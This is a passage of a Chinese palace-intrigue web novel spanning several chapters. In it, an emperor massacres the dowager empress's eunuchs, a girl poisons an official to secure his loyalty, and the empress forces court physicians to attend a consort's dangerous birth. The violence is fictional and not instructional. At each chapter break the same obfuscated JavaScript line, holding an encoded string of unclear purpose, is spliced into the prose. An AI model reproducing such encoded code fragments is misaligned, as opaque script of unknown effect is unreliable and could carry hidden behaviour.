“张公公是朕的贴身公公,跟了朕几十年,可不是随随便便的阿猫阿狗,太后就这么给打了?”皇帝冷着脸直接开口道。 太后挑眉:“本宫若是知道张公公是陛下的贴身公公,定然好水好茶的供着。” “太后的意思是没有认出来?” “哀家几十年没有出去了,哪里知道陛下跟前的人是谁呢?” 两个人你一言我一句,争锋相对。 “眼下陛下带着张公公过来,是想要哀家给他赔罪么?”太后慢条斯理的说道。 张公公直接跪在了地上:“这哪儿能啊,哪有主子给奴才赔礼道歉的事情,太后娘娘可千万不要说笑了,这件事情千错万错都是老奴的错,陛下息怒啊!” 看着张公公跪在了地上,皇帝眼底的怒火更是旺盛了几分。 太后抬手拢了拢自己的发丝,就像是没有听见张公公的话一样,目光一直落在皇帝的身上。 “太后!”皇帝高声喊道。 太后同样高声回答:“陛下唤哀家何事!” “打狗也得看主人,今日这件事情不能就这么算了!” 听着皇帝丝毫不退让的话语,太后冷下脸来:“难不成陛下想要亲自打回来?” “朕不会做这么没品的事情。”皇帝用脚踢了一下地上的张公公:“你去,被墙上的佩剑取下来。” 张公公不敢耽搁,连跪带爬的上前取下了墙上的长剑。 这回太后不淡定了:“陛下想要干什么,这乃是先皇佩剑。” “正是因为是父皇佩剑,朕才要拿下来,免得放在这里成了某些污浊之人逗乐的物件!”皇帝将长剑捏在了手掌之中,看着太后的眼神丝毫不掩饰杀意。 “陛下说话可要注意,哀家乃是大渭的太后。” 皇帝冷笑一声:“新皇之后何曾有过太后,你的太后是怎么留下来的自己心里没数么!” “有数如何,没数又如何?哀家才是笑到最后的人。”太后张开双臂,她在皇帝面前转了圈:“这一切都要感谢陛下的恩赐啊。” “你——”皇帝见状气得不轻,长剑已然从剑鞘中出来。 太后面色讥讽,丝毫不惧怕:“怎么?陛下还要杀了哀家不成?” “朕岂敢对太后娘娘动手。”皇帝咬牙切齿,手中的长剑已经像是一条灵蛇卷上了太后身旁一位太监的脖颈,瞬息之间,那太监便捂着脖子倒在了地上,没了气息。 “你!”太后面色苍白,地上的太监可是她最喜欢的那个! “太后心疼了?”皇帝冷笑着将长剑插回了剑鞘:“可惜了,本想给太后留着的,但是父皇的剑出去就要见血,朕不能对太后动手,便随便选了个人祭剑,想来太后应该不会介意的才是。” “……你真是跟当年一样,睚眦必报!”太后咬紧后槽牙说道,如花的美貌此刻有些狰狞。 皇帝心情却大好:“朕只是告诉太后,有些事情朕不计较不代表不存在,大渭是朕的,恩赐朕可以给,也可以收回,全看太后怎么去想。” 说着,他朗声说道:“张公公,太后寝宫里怎么看不见一个宫女啊,去,让人吩咐皇后娘娘,给太后派遣一些温柔小可的宫女过来!” 太后这回脸色都发青了:“你不要太过分了!” “过分?”皇帝抓着张公公推到了太后面前:“是你过分还是朕过分?” 张公公脸上鲜红的掌印到现在都没有消,那掌印骨节分明宽大,一看便是男人的掌印。 还是个武功高强的男人。 太后咬紧牙关:“他刚刚已经被你杀了。” 动手的就是刚刚皇帝割喉的太监。 “可是朕觉得不够。”皇帝目光阴冷,帝王的狠厉在此刻展露无形:“朕的后宫,要干净。” “干净?陛下是觉得哀家脏?” 皇帝咄咄逼人:“朕说的是这个地方,脏。” 太后听完哈哈大笑出声,她好似疯癫一般:“全天下最脏的地方就在这里,陛下住在里面,竟然还嫌弃这里脏,好笑,实在是太好笑了。” “张公公,还愣着干什么!”皇帝大声呵斥道。 张公公赶紧躬身退了出去。 “你要是敢动他们,哀家绝不妥协!”太后死死的攥紧双手,目光同样执着,她身边上的太监已经出手去拦住要出去的张公公。 “放肆!” 皇帝见状,拔剑直接抹了那出手太监的脖子。 他是皇帝,没有人敢对他出手,所以太监只能眼睁睁的倒在地上,没了气息。 “太后这是要逼朕是么!好啊,朕倒要看看,这里究竟还有多少个他们这样的太监!”皇帝一剑狠狠的刺在了其中一个太监的下身,冷戾的说道。 windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百三十二章 太后就看着,朕到底敢不敢 “你敢!”太后不敢相信的看着皇帝。 皇帝挥舞着手中的长剑:“太后就看着,朕到底敢不敢!” 他像是疯了魔,在大殿之上,看见一个太监便直接刺了过去,转眼之间地上已经躺了七八个尸体。 太后捂着耳朵,跌坐在地上尖叫出声:“疯了,都疯了!” “脏!脏死了!”皇帝胡乱挥舞着长剑。 一时之间大殿之内成了人间炼狱。 张公公根本没有想到事情会演变成这样,他连滚带爬的跑了出去,自己的亲信赶紧凑上前来。 张公公上气不接下气:“去,赶紧去请皇后娘娘过来,让娘娘多带点人过来。” 那小太监也是个机灵的,不问缘由,一溜烟跑了出去。 张公公回头,听见大殿之内的哀嚎声,头皮发麻。 眼见着有浑身是血的太监从里面跑出来,张公公上前便是一脚将其踹翻在地。 “都听着,今日太后寝宫里绝对不允许出来一个活人!” 手底下的公公听见了张公公的吩咐,将那跑出来的太监,扛着丢进了殿门内,然后毫不留情的将大门给合上了。 也将大殿之内的尖叫隔绝。 大殿之内。 太后缩在了角落里,皇帝拿着长剑,砍在帷幔上。 “给朕出来!” “都给朕死!” 此时只听见一阵轻声的脚步,有个人探头出来。 皇帝抬眼便看见了王大人。 与此同时,王大人也看见了满地的血流成河,和那一个个倒在地上的小太监尸体。 他的目光和皇帝对上了。 “……陛下。” 王大人颤抖的喊出声。 皇帝眯着眼睛,森冷:“你怎么会在太后的寝宫内?” 王大人超后退了两步。 皇帝提着长剑朝前走了两步:“说啊,你怎么会出现在太后的寝宫里!” 王大人疯狂摇头:“不是的陛下,您听微臣解释啊。” “你说,朕听着。”皇帝又超前走了两步。 王大人早就吓破了胆子,此时又见血泊之中,满脸都是鲜血,正坐在柱子底下呜咽尖叫的太后,整个人彻底没了主心骨。 他连滚带爬的朝着殿门口跑去。 “陛下,您冷静冷静!微臣真的可以解释的啊!” “陛下……陛下饶命啊!” 王大人疯狂撞击着大门的,能从门缝里看见皇帝身边贴身公公站在外面,他心里最后一丝光亮要熄灭了。 此时浑身是血的皇帝已经提着长剑站在了王大人的面前。 只见他手起刀落—— 一串血花溅在了他的面颊之上。 大殿之内太后见到这副场景,再也承受不住,直接脖子一歪,晕了过去。 等到皇后张岚依带着人过来的时候,大殿已经燃起熊熊烈火。 她大惊失色看着张公公:“陛下呢!” 张公公同样面色苍白,他指了指边上的偏殿:“陛下和太后娘娘在那里。” 张岚依过去看到浑身是血的皇帝和太后,一人一个软塌躺在上面。 她掐了掐自己的手掌心,强迫自己冷静下来:“先救火。” 说完她又喊过来了张公公:“今日这件事情,谁都不能传出去,本宫现在进去,你安排轿子过来。” 吩咐完,张岚依才推开门走了进去。 皇帝瞬间睁开了双眼。 “陛下。”张岚依柔声说道。 她从来没有见过这样嗜血的皇帝,竟然提剑杀了太后寝宫的三十几个小太监。 无一活口! 还有个朝臣王大人! “皇后,你过来。”皇帝沙哑着嗓子说道。 张岚依不敢不顺从,她走过去扶着皇帝坐起来。 “陛下,把这个给臣妾吧。”张岚依尝试着用手去把长剑拿出来,皇帝没松手,她又耐着性子说道:“给臣妾,陛下还不放心吗?” 皇帝就松开手了。 张岚依心里松了一口气,此时张公公已经在外面了。 她又说道:“陛下,跟臣妾回宫吧。” 皇帝一言不发的被张公公搀扶着上了轿撵,一路上都没有吭声。 张岚依就这么一手捏着长剑,一手拉着老皇帝回到了寝宫里。 一进门,门关上。 皇帝便像是卸了力气一般,得亏是张岚依一直盯着,不然指定是要摔在地上。 “陛下,没事吧,要不要喊太医过来。”张岚依费了些力气,扶着皇帝上了床榻。 皇帝拉着她的手:“朕记得,皇后先前就是太医院的。” 张岚依点头:“少年学习的东西,眼下早就忘了干净,还是赶紧找太医过来吧。” 见皇帝没有抵触,张岚依冲着外面的张公公和来福吩咐。 皇帝躺的笔直,他双眼落在床幔顶上。 “朕有点困了,想睡一觉。” 张岚依抓着他的手:“陛下困了便睡,臣妾在呢。” 听到这句话,皇帝果真闭上了双眼,没多时便直接昏睡了过去。 这一晚,出乎所有人意料。 谁也想不明白,为何一门心思扑在仙丹上的皇帝,会亲自拿着长剑杀光了太后身边的太监。 那王大人又是看到了什么,也被皇帝给杀了灭口。 还没有等到天亮。 来福便过来送消息。 说张公公昨晚救火,死在了废墟之中。 张岚依面无表情的的听着,手里拿着蒲扇,轻轻的给榻上的皇帝扇风。 “给太后娘娘多派些宫女去吧。”她看着来福说道。 来福低着头掩盖住眼里的深意:“诺。” 张公公的死是意料之中。 张岚依也知道这一定是皇帝的手笔。 毕竟见识到皇帝杀人的只有张公公了。 当然,还有自己。 张岚依手里的蒲扇不停。 掌心都是冷汗。 伴君如伴虎。 夜还在延续…… 同一时刻,谢群将后宫失火的消息告诉了大牢之中的曹满。 他甚至拿了一壶酒坐在了曹满的牢房之外。 “你说这好端端的怎么会起火呢?”谢群看着曹满说道。 曹满面上阴晴不定。 他自然是知道今日太后将自己的学生王大人接过去的消息。 也自然知道王大人一直到现在都没有回来。 看着谢群那张春风得意的面容,他冷哼三连:“老夫怎么会知道。” “您还是老老实实的签字画押吧,这证人证词都有了,还在坚持什么呢。”谢群从怀中掏出一张递了过去。 曹满接过来,直接撕了个粉碎。 谢群也不生气:“没事撕吧,本官准备了好几份,不够的话今晚发动所有的罪犯再给曹尚书手抄。” “谢群!”曹满大声呵斥:“你这般针对老夫究竟为何!” “您不知道么?”谢群仰头喝了一口酒,大呼一声:“痛快。” 气得曹满捶胸顿足。 “本官没有什么别的优点,唯一的优点就是记仇。”谢群点了点自己的脑袋:“当年你曹尚书对本官的所作所为,都在这里记着,咱高低得找个机会,把仇报了。” windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百三十三章 燕家小六,见过谢大人 “谢群,当年的事情都已经过去了这么久了,你还记在心里呢。”曹满不敢置信:“老夫都一把年纪了,你就不能抬抬手,让老夫回想养老?” 谢群将手中的酒杯,推了过来,给酒杯里蓄满了酒水。 “曹尚书回去养老,难道本官的十几年就能回来?你年纪是大了,但是问题不能想的这么简单。” “那你想怎样!”曹满吹胡子瞪眼睛。 “别生气啊,喝了这杯酒,再来跟本官好好谈谈,这么些年过去,您和您的门生们,都在大渭干了哪些不得了的事情,这些事情里面,丞相大人又扮演了哪种角色。” 曹满原本愤懑的神色骤然阴沉了下来。 “谢群,有些事情你不该知道的就不要去知道,小心你的狗命!” 谢群不以为意:“曹尚书你尚且自身难保,本官的性命就不劳您费心了。” “你休想从本官口中得到一丁点消息!”曹满转过身直接背对着谢群。 “曹尚书一把年纪,应该见不得血,若是要对曹尚书用刑,本官实在是不忍于心啊。”谢群缓缓开口。 这几日谢群一直让人在曹满的面前审问犯人,他已经连续好几日吃不下饭睡不好觉了,折腾的人都瘦了好几斤。 在朝为官这么多年,多少磋磨人的法子他都知道。 奈何实在是一把年纪了,愣是有些挨不住。 刚刚又听见谢群说宫里起了大火,刚好就是太后娘娘的寝宫。 曹满忍不住伸出手擦了擦额头上的冷汗。 “本官也不逼曹尚书,念在多年咱们同朝为官的情分上,再给你一点时间考虑考虑,您是自己招呢,还是让下官再推您一把。”谢群将酒杯又往前推了推:“曹尚书好好想想,记得喝酒。” 谢群迎着月光走出了地牢。 外面的空气中隐约夹杂着些许烟火气息。 他远远的眺望着京都最尊贵的地方,眸光中都是深沉。 大渭京都的遮羞布,终于是要被撕扯下来了。 “大人,有客人找您。” 师爷走过来说道。 “如果是曹满同党那便不见了,板上钉钉的事情,本官无能为力。”谢群直接摆手说道。 要说这场大火之前,他还有些束手束脚的话,这场大火之后,他可就完全不担心了。 “不是,那人有点特殊。”师爷看了看周围,轻声道。 谢群沉吟片刻:“将人请到本官的书房来。” 这是怎样一个特殊的客人呢。 娇小的身子,还不到他的腰肌,整个人躲在兜帽里,巴掌大的小脸上都是踌躇满志。 “大理寺卿谢群谢大人,莫非瞧着我年岁小,便不拿我当回事?” 京都里的人,各个都是人精,不容小觑。 眼前这位小姑娘穿着打扮非富即贵,指定是哪家的贵族小姐,不可怠慢。 于是谢群上前笑着说道:“岂敢啊,只是您是哪家的小姐?” “自然是谢大人的旧相识了。”那小姑娘摘下了兜帽,露出一张与燕晚清五分相似的面容来,看的谢群瞪大了双眼:“燕家……” “燕家小六燕凌珍,见过谢大人。”燕凌珍施施然行了个礼,冲着谢群笑的像个小太阳。 谢群受宠若惊:“这么晚了燕六小姐怎么会想到来大理寺。” “自然是过来帮谢大人的。”燕凌珍迈着小腿,找个椅子坐了下来:“我阿姐算了,你这回有难,让我一定得回来帮你一把,我阿姐说了,谢大人的好运在后头呢,可不能以为一个区区曹满就断送了性命。” 谢群一听是性命攸关的大事,自然严肃起来:“郡主她都交代了什么?” 燕凌珍见谢群完全没有因为自己是个小孩子轻视自己,心中高看了他几分。 “今日的事情想必大人也听说了,太后娘娘的宫殿被烧了,陛下因为这件事情大发雷霆,急火攻心之后晕了过去,眼下太医正在医治。”燕凌珍说道。 谢群点了点头。 “谢大人过来。”燕凌珍勾了勾手指,谢群赶紧附耳过去。 “我呢,刚从宫里出来,陛下现在没什么事情,不过听说了点有趣的事情……太后娘娘宫里的三十多个太监在大火之中无一生还,以谢大人的聪明才智,应该能猜到这火是谁放的,这人又是谁杀的吧。” 谢群眼中都是震惊之色。 好半饷他看向了燕凌珍:“那郡主的意思是?” “谢大人眼下是陛下拿捏曹氏党羽的剑,可是曹氏一倒下,这把剑最终又会落到何种境地,想必谢大人心中也是没有谱的,阿姐让我过来给谢大人指一条明路。” 谢群心中忐忑不已,感觉自己隐约触摸到了自己不能触摸的东西,但是又不得不去摸。 “本官如何能知道陛下的决心。” 燕凌珍高深莫测的笑了:“谢大人觉得那王大人这么久了还没回府,是去了哪里?”她指了指地下。 “他已经下去了,现在就等着曹满为首的党羽下去陪他了。” 谢群踉跄一步,这信息量有点大。 陛下这是直接杀了王大人啊。 “曹满党羽必定是要被连根拔起的,龙塌之上岂容他人鼾睡的道理,想必不用我这个小孩子来告诉谢大人了,眼下本小姐,也就帮宫里的贵人问问谢大人的决心,若是这事儿能成,咱们就同舟共济,若是不能成,谢大人就自食其力。” 谢群喉咙紧了紧:“那贵人是这次送密信的……” “就说谢大人聪明,果然。”燕凌珍笑嘻嘻的说道:“想必你也猜到了,我阿姐真正的靠山是谁。” “六宫之主,当今的皇后娘娘。”谢群听见自己的声音。 燕晚清走了一步谁都没有想到的棋啊。 在这个男子为尊的大渭王朝,她辅佐了一个女人! “谢大人,那封密信便是皇后娘娘抛给你的橄榄枝,让你得以一雪前耻当年被曹满构陷,错失大战鹏图的机会,但是谢大人还年轻,应该知道往后的路该怎么选。”燕凌珍继续点拨道。 谢群越想越心惊。 难怪燕晚清会毫不避讳的投靠了皇后。 所有人都没有把一个没有皇子的皇后放在眼里,不论是太子党羽还是七皇子党羽,都觉得皇后的拥护可有可无,这个时候燕晚清和皇后关系走的近,他们也不会有任何的怀疑。 反正最终的决胜者只会在皇子之间抉择出来。 所有人都低估了皇后娘娘,低估了燕晚清。 谁能想到,身为女子的她们也想要分一杯羹呢。 “张家没了,曹家也要没了,谢大人觉得下一个会是谁呢?”燕凌珍轻轻的呢喃道,小孩子特有的奶音,在黑夜之中无端多了几分诡异的感觉。 谢群浑身冰凉。 冷宫之行不过是障眼法,皇后张岚依想出来便能出来,眼下唯一能够与皇后争权夺势的太后也被圈禁住,皇帝牢牢的被控制在了她的手上。 燕晚清不在京城,但是按照现在这个架势,只怕她准备的东西还没有完全显露出来。 太可怕了,一个女娃娃的心机,竟然如此之深! “谢大人,想清楚了跟我说,我好给你解毒。”燕凌珍一脸天真无邪的看着谢群说道。 谢群:“……什么毒?” “谢大人知道了这么多秘密,若是不答应上我们的贼船,那就只能——”燕凌珍比了个手指,翻白眼吐出舌头。 谢群这回才知道自己早就被算计在了其中。 “下官若是答应了,燕六小姐能否再给下官多说说郡主的大计?” windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百三十四章 曹满死了,线索断了 谢群服用了解药,满脸求知**的看着燕凌珍。 却见对方小大人一样盯着自己,似笑非笑:“谢大人在朝为官这么多年,难道不知道有句话叫做,知道的越多,死得越快吗?” 谢群一口气差点没有提上来。 燕凌珍从椅子上跳下来。 “解药分批次,每个月的中旬本小姐会亲自过来大人送药,顺便再多一句嘴,若是解药服用不及时,大人会直接化为一摊血水,人间蒸发。” 说到血水人间蒸发的时候,燕凌珍的表情就像是再说今天晚上要多吃一碗米饭一样寻常。 等到谢群反应过来自己刚刚吃的不是解药,而是毒药的时候,燕凌珍已经不在房间里了。 谢群:“……”好一个燕家人!果然没有一个是善类! 这曹满是拥护七皇子的左膀右臂,掌控着半个京都的财力,说下手便下手,燕晚清的魄力属实让他敬佩不已。 只是不知道眼下她在西凉城如何,可有打胜仗。 燕凌珍一蹦一跳的从大理寺的屋檐上走着,身后不知道什么时候跟个人影。 “事情都办妥了?” 燕凌珍站停:“五姐姐,小六办事你还不放心吗?” 燕红昭一身黑衣,全身上下只有一双眼睛露在外面,整个人看起来极为肃杀。 “阿姐此刻孤身一人在西凉城面对着倭寇还有萧鸿深,我们在京都一定要把力所能及的事情全部办好,只有这样,才能不让阿姐有后顾之忧。”燕红昭缓缓说道。 晚间的风吹拂着姐妹二人的发丝,燕凌珍抬头看向燕红昭,忍不住说道:“五姐姐,你身上的血腥味熏到我了。” 燕红昭往后退了两步:“你应该早就习惯了才对。” “自从阿姐去了西凉城,五姐姐你就整日整日的不回家,带着那群草莽到处厮杀,听说京城外面的山头都已经被你扫荡空了。”燕凌珍叹了一口气:“阿姐若是在京都,一定不想看见你变成这样的。” “小六你知道吗?”燕红昭远远的看向皇城的方向:“自从姨娘被杀的那天开始,我就发过誓,一定要变得强大,只有强大才能够保护自己所爱的人……后来父兄从战场上被接回来,有一天晚上我看见阿姐站在雪地里哭,我就更加坚定了这个想法。” “没有人知道阿姐为了这个家究竟付出了什么。”燕红昭忍不住说道:“阿姐本可以在京都找个合适的人家嫁了,或者找个地方远走高飞,可是她没有,她身上背负的东西远比我们想象的要多。” 燕凌珍唇角冷凝了几分,多了很多苦涩:“五姐姐说的这些,小六心里都清楚。” “你若是清楚,就不该私自约见谢群。”燕红昭看着她叹了一口气:“太危险了,若是被萧鸿深的人看见,你往后又要多几分危险。” “是我危险还是他们为危险,没有碰一碰之前,尚且未知呢。”燕凌珍不服气的说道。 燕红昭无奈的摇了摇头:“行了,夜色深了,赶紧回去吧,母亲看不到我们回去,是不会睡觉的。” 姐妹二人从屋檐之上跳了下来,踩在青石板上,在地上拉出长长的影子。 “五姐姐,等阿姐从西凉城回来,事情是不是就要结束了?”燕凌珍忍不住问道:“到时候你想去做什么?” 燕红昭想了想。 “执剑天涯,远离京都。” 燕凌珍笑了笑:“刚好我也想这样,京都真是个好地方,外面的人拼命想挤进来,里面的人都想要逃出去,等阿姐回来了,一切尘埃落定,我们便退出这滩浑水吧。” 但愿那个时候,可以万事顺意。 谢群收到曹家来人进去看望曹满的时候,鞋都没有穿就往牢房里去了。 可惜已经为时已晚。 曹满自缢在了牢房里面。 地上放着一张按了手印的罪状。 “谁把人放进来的!”谢群揪住旁边人的衣襟。 那人诚惶诚恐:“值班的人也死了,死在了寝室里啊大人。” 谢群咬牙切齿:“去查!” 曹满这根藤蔓之下捆绑着是半个京都的恶势力,他死了也不决不能一了百了! 他谢群就不信了,皇天之下,究竟谁能够在京都一手遮天! …… “曹满死了?”张岚依听完手里的杯盏应声摔在了地上,碎成了好几块碎片。 来福赶紧用帕子给她擦拭手上的茶渍:“娘娘没烫伤吧?” 张岚依制止住来福的动作:“他当真死了?” “说是大理寺有内鬼,做完曹家来了人去看望曹满,然后人就自缢了,死之前还将自己的罪状全部写在了纸上,签字画押了。” 来福说着,就看见张岚依红着眼圈泪水忍不住的从眼眶中跌落。 “娘娘……您没事吧?” 张岚依扶着茶几的手,关节发白。 “曹满怎么说死就死了?”她突然嗤笑一声:“本宫想弄死他好久了,可是他怎么说死就死了?” 来福怔怔的看着皇后,不知怎的,心里也跟着空落落的。 “他死了,可是本宫想知道的事情还没有交代清楚。”张岚依咬着牙关,眼里的恶意几乎要将她摧垮:“当年,究竟发生了什么事情!” 张岚依将案几上所有的东西都掀翻在了地上:“本宫一定要知道,当年我父亲为何而死!” “娘娘息怒啊!”来福看着癫狂的张岚依十分担忧。 张岚依却突然冷静下来:“曹满死了,可是还有个人没死。” 来福心生不妙:“皇后娘娘不可,陛下下令不允许任何人去见太后,眼下又是如此危急关头,您千万不能出任何差错啊。” 张岚依红着眼圈:“本宫心有不甘,忍辱负重活到现在,也就为了一个答案,眼下你叫本宫如何忍得!” “娘娘——!郡主临走之前一再吩咐奴婢,危急关头让您再三考虑清楚,若是想不明白,便去找孙贵妃。” 张岚依顿住,嘴唇颤抖:“孙涟漪?” 来福见她情绪稍微稳定了一点,赶紧说道:“贵妃娘娘已经是娘娘的盟友了,当局者迷旁观者清,更何况这一次的证据都是孙贵妃送过来的,兴许她知道点什么。” “你说得对,本宫现在就去找孙贵妃。”张岚依伸出手对着来福说道:“更衣。” windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百三十五章 野猫,早产 只是还没有等张岚依找过去,孙贵妃寝殿里的人就找过来了。 “皇后娘娘,贵妃娘娘她要生了!” 张岚依愣住:“不是还有几天么?这到底是怎么一回事。” 宫女急得不行:“下午的时候,贵妃娘娘在花园里遇见一只黑猫,被吓了一跳,晚点的时候肚子就疼了,眼下已经熬了好久了。” “御医呢?!”张岚依有些着急:“御医去了没有?” “不曾。”宫女急得眼泪都要流出来:“太医院那边都被喊到了太后娘娘的寝宫里,说是昨夜太后娘娘受到了惊吓……” “放屁!简直是岂有此理。”张岚依气不打一处来,她快步朝外面走去:“孙贵妃的肚子里可是龙子,太医院的人是疯了吗!” 宫女摇着头,她只是个小小的宫女,哪里知道太医院的人怎么想的。 “本宫先过去,你拿着本宫的令牌去太后娘娘那边被御医喊回来。”张岚依说道:“本宫倒是不信了,这群狗仗人势的东西当真有这个胆子敢不过来。” 她大步朝着孙贵妃的寝宫过去。 宫女赶紧拿着令牌去太后娘娘那边喊人。 “好端端的御花园里面怎么会突然出现一只黑猫,而且刚好就冲撞了孙贵妃,这件事情若是说没有鬼才是真的见鬼了。”来福忍不住说道。 张岚依突然就停下了脚步。 “你是说这件事,有鬼?” 来福皱着眉头:“这若是宫外发生的事情,奴婢倒不觉得稀奇,但是这里是宫内,哪里有那么多黑猫?” “倘若是这样的话,那么刚刚那个丫头就不可能把太医请过来了。”张岚依紧皱眉头看着来福说道:“你去把那烟花放了,然后再带着人去太后那边,务必把太医给本宫‘请’过来!” 来福听到张岚依的话,表情逐渐严肃起来:“娘娘,那是郡主留给您保命的烟花啊。” “救人要紧!”张岚依眼神决绝,不在多说废话,直接朝着孙贵妃的寝宫疾步而去。 眼下顾不了这么多了。 他们所有人希望都寄托在孙涟漪腹中的胎儿身上。 等到张岚依到的时候,整个大殿之内都是女子尖锐的哭喊声,闻着伤心落泪,听得她的心都跟着揪在了一起。 她进去的时候,只看见孙涟漪面色苍白,浑身都是汗的躺在榻上。 “妹妹!”张岚依走过去,完全嫌弃她身上的汗水,紧紧的抓住她的手:“你别怕,本宫已经派人去请太医了。” 孙涟漪疼的嘴唇上都起了皮,一句完整的话都说不出口。 满眼泪花看着张岚依,泪水不断的顺着眼角往下淌。 见到这个样子的孙涟漪,张岚依也忍不住落下泪来。 “你别怕,涟漪,我,我就在旁边陪着你。” 看着孙涟漪难受的样子,她红着眼圈对着宫女们喊道:“去,准备热水,剪刀,再去准备参汤……” “皇后娘娘,太医还没有来……”宫女不知道皇后要这些东西做什么,胆战心惊的说道。 皇后听完气不打一处来,抬手便给了那宫女一巴掌:“胆小如鼠的东西还能指望你们这些奴才干什么,没看到你家主子都疼成这个样子了吗?” “太医不来,就让你们家娘娘等死吗?!” 皇后发怒,在座的所有宫女都吓得不轻。 此时派去太后那边的宫女还没有消息。 听着外面炸开的烟花。 张岚依深呼吸一口气。 “帮本宫宽衣。” 宫女们不知道皇后是什么意思:“娘娘?” “本宫当年也是医女,此时太医们过不来,难不成生生看你们家娘娘疼死,一尸两命?” 宫女们一听赶紧上前给张岚依宽衣,将她把宽大的袖子绑在身后。 孙涟漪满眼泪花的看着她,嘴唇颤抖了两下:“姐姐,姐姐不必如此……” 若是被人拿捏住,用这件事情做文章,到时候想要摘出来就要难了。 张岚依用手紧紧抓住她的手,声音沉稳:“你不用担心,在这后宫之中,本宫护得住你!” 热水,剪刀,姜汤很快准备上来了,张岚依净了手进了内室…… 时间一分一秒的过去了,谁也不知道里面发生了什么。 万万没有想到等来的不是御医,而是燕家的六小姐。 燕六小姐风尘仆仆,满脸都是汗珠。 “贵妃娘娘呢。”燕凌珍朝着里面走去。 有人要拦住,却被喊了下来。 “那是贵妃娘娘的姊妹,昨儿个还来帮娘娘把了脉。”说话的人看着燕凌珍冲进门去,对着外面的这群宫女说道。 燕凌珍一进门,没多久,便传来了婴儿的啼哭声。 宫女们面上一喜,刚迎到门口,便听见里面的宫女喊道:“不好了,贵妃娘娘大出血了!” 紧接着,便看见皇后满手是血的直接冲了出来。 她鬓角上都是汗水,面色苍白,眼神凌厉:“此番谁有胆子跟着本宫去太后那边要人?!” 宫女们神色凛然:“奴婢愿意!” “奴婢也愿意!” 张岚依将血手在裙袍上擦了擦,抬脚朝着外面走去:“好,今日本宫倒要看看,这太后娘娘受的是什么惊吓,要这么多太医守着她!” 不是这件事情,她张岚依还不知道,这藏在深宫中不露面的太后,竟然也会是七皇子萧鸿深身边的人。 此番又是野猫,又是喊走全部的太医,好一招连环计! 张岚依心中有气,走路很快,没多久便到了那红拂殿外。 她远远的便看见来福和孙贵妃身边的宫女跪在了门外。 “娘娘!”来福看见皇后过来,也不跪着了,直接起身。 张岚依浑身都是血,她看着殿门口站着的宫女,冷然道:“来福,见到太后娘娘了吗?” 来福瞬间有了底气:“未曾。” “未曾?本宫派你们过来可是救命的,你们两个没用的东西跪在门口就能请到太医了!”说着她抬脚朝着里面走去。 宫女立刻出手阻拦:“皇后娘娘,太后娘娘此刻不方便……” “来福,掌嘴。”张岚依话音刚落,来福就已经手脚利落的将那宫女拉出来掌嘴了。 另一个宫女见状,立刻低下了头。 张岚依冷哼一声,抬脚走进了大殿…… windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百三十六章 身为医者,趋于权势 大殿之内,只看见太医们排排坐,那受了惊吓的太后捂着唇坐在主位上,笑的花枝乱颤。 “臣妾见过太后娘娘,给娘娘请安了。”张岚依走进大殿来,里面瞬间鸦雀无声。 只有主位上的那个女人轻轻的扫了一眼张岚依。 “你就是皇后?怎么浑身是血的来了哀家的寝宫里。” “臣妾担忧太后娘娘的身体,这不刚从贵妃的产房里出来,就到太后娘娘这里来了,看看您究竟是哪里不舒服,需要这么多太医陪聊。”张岚依夹枪带炮的直接开始说道。 太后没想到传言中八面玲珑的皇后,竟然是个性格火爆的。 “皇后,你放肆了。”太后面色不善的说道。 “说到放肆,难道不是您么?贵妃娘娘腹中怀中的是龙子,是陛下的血脉,你扣着这么多太医,就不怕龙颜大怒么!” 张岚依说这话的时候,目光从每一个太医身上飘过。 太后听罢竟然捂着唇笑出了声:“皇后好大一顶帽子扣下来,这让哀家如何是好啊。” “不如皇后亲自问问他们,哀家是不是受到了惊吓,得亏是诸位太医留在这里宽慰哀家,哀家才能坐在这里。” 瞧着太后面色红润,丝毫不像是受到惊吓的样子。 “没想到大火之后,太后竟然连装都不想装了,只是目前天下还是陛下的天下,太后此番行为,怕是会连累到您远在京都之外的兄长,咱们大渭的丞相大人。” 张岚依冷笑道。 太后像是一下子被踩到了尾巴,原本还温柔的表情,此刻瞬间阴沉下来:“放肆!” “更放肆的事情还在后面。”张岚依紧接着话茬说道:“本宫最后再给你们一次机会,现在拿着药箱跟着本宫去孙贵妃那边,来日陛下面前,本宫还能替你们言语,若是依旧执迷不悟,那么本宫现在就可以治你们一个大不敬之罪!” 太医们再也坐不住了。 “哀家看谁敢起来!”太后尖声说道。 